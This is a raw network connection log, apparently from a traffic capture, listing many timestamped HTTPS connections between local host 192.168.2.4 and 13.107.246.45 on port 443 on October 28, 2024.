Oct 28, 2024 06:28:24.958523989 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.958545923 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.959041119 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.959047079 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.025944948 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.056772947 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.056845903 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.057306051 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.057321072 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.076854944 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.077527046 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.077538013 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.077943087 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.077949047 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.088272095 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.088340998 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.088390112 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.088543892 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.088557959 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.088568926 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.088573933 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.090549946 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.091027021 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.091052055 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.091696024 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.091703892 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.093827009 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.093863010 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.093935013 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.094253063 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.094273090 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.104047060 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.104602098 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.104612112 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.105058908 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.105063915 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.183896065 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.183943987 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.183999062 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.184006929 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.184051991 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.184252024 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.184290886 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.184319019 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.184333086 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.187100887 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.187144041 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.187221050 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.187390089 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.187403917 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.205380917 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.205554008 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.205641985 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.205670118 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.205689907 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.205710888 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.205715895 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.208173037 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.208203077 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.208281994 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.208408117 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.208420992 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.221967936 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.221993923 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.222045898 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.222147942 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.222320080 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.222332001 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.222368956 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.222374916 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.224353075 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.224374056 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.224447012 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.224567890 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.224575043 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.233694077 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.242954016 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.243019104 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.243072987 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.243113041 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.243113041 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.243113041 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.243129015 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.244879961 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.244894028 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.244961023 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.245089054 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.245100975 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.555275917 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.555303097 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.834211111 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.834892035 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.834922075 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.835411072 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.835417986 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.909651995 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.910345078 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.910367966 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.910826921 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.910832882 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.947921991 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.948283911 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.948304892 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.948611021 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.948616028 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.949228048 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.949563026 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.949569941 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.949894905 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.949899912 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.964796066 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.964858055 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.964917898 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.964931011 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.964951992 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.965008020 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.965218067 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.965234041 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.965246916 CET	49923	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.965253115 CET	443	49923	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.968291044 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.968379021 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.968647957 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.968647957 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.968725920 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.979407072 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.979722977 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.979732037 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:25.980109930 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:25.980113983 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.038654089 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.038723946 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.038791895 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.038944960 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.038963079 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.038975954 CET	49924	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.038980961 CET	443	49924	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.041898012 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.041965008 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.042071104 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.042188883 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.042221069 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.076827049 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.076880932 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.076952934 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.077128887 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.077136040 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.077147007 CET	49926	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.077152967 CET	443	49926	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.079782009 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.079822063 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.079914093 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.080064058 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.080094099 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.081501961 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.081660032 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.081717014 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.081764936 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.081779003 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.081790924 CET	49925	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.081796885 CET	443	49925	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.084316969 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.084358931 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.084440947 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.084573984 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.084594011 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.111044884 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.111192942 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.111237049 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.111243963 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.111255884 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.111309052 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.111340046 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.111346960 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.111356020 CET	49927	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.111361980 CET	443	49927	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.113467932 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.113500118 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.113559008 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.113714933 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.113729000 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.743371010 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.752161980 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.752202034 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.752660990 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.752676964 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.777126074 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.777509928 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.777551889 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.777899981 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.777913094 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.815387011 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.815783978 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.815818071 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.816178083 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.816189051 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.840405941 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.840763092 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.840785980 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.841128111 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.841135979 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.847404003 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.847716093 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.847750902 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.848052979 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.848067999 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.889657974 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.889930964 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.890000105 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.890053988 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.890054941 CET	49928	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.890100002 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.890125990 CET	443	49928	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.892894983 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.892972946 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.893057108 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.893171072 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.893189907 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.908473969 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.908502102 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.908543110 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.908586979 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.908658981 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.908849001 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.908849001 CET	49929	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.908879042 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.908902884 CET	443	49929	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.910936117 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.910974979 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.911047935 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.911173105 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.911190033 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.945244074 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.945389032 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.945503950 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.945838928 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.945856094 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.945882082 CET	49930	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.945895910 CET	443	49930	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.949098110 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.949139118 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.949234962 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.949400902 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.949429989 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.968775034 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.968944073 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.969046116 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.969435930 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.969448090 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.969479084 CET	49932	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.969485998 CET	443	49932	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.971589088 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.971657991 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.971751928 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.971875906 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.971895933 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.979223967 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.979295969 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.979351997 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.979372025 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.979460001 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.979477882 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.979502916 CET	49931	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.979551077 CET	443	49931	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.981405020 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.981460094 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:26.981547117 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.981687069 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:26.981718063 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.656188965 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.656914949 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.656938076 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.657553911 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.657560110 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.694983959 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.695514917 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.695558071 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.696060896 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.696074009 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.714927912 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.715329885 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.715367079 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.715822935 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.715837955 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.720227003 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.720832109 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.720909119 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.721272945 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.721287966 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.790851116 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.790916920 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.790971994 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.791255951 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.791270018 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.791277885 CET	49934	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.791282892 CET	443	49934	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.795120001 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.795195103 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.795332909 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.795483112 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.795519114 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.820071936 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.820702076 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.820761919 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.821248055 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.821263075 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.822166920 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.822312117 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.822382927 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.822422981 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.822437048 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.822453022 CET	49936	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.822459936 CET	443	49936	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.825226068 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.825268030 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.825362921 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.825568914 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.825594902 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.843775988 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.843836069 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.843904018 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.843938112 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.843988895 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.844049931 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.844120979 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.844142914 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.844167948 CET	49937	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.844181061 CET	443	49937	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.846748114 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.846831083 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.846931934 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.847093105 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.847127914 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.855454922 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.855597973 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.855684042 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.855781078 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.855806112 CET	443	49935	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.855833054 CET	49935	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.855851889 CET	443	49935	13.107.246.45	192.168.2.4
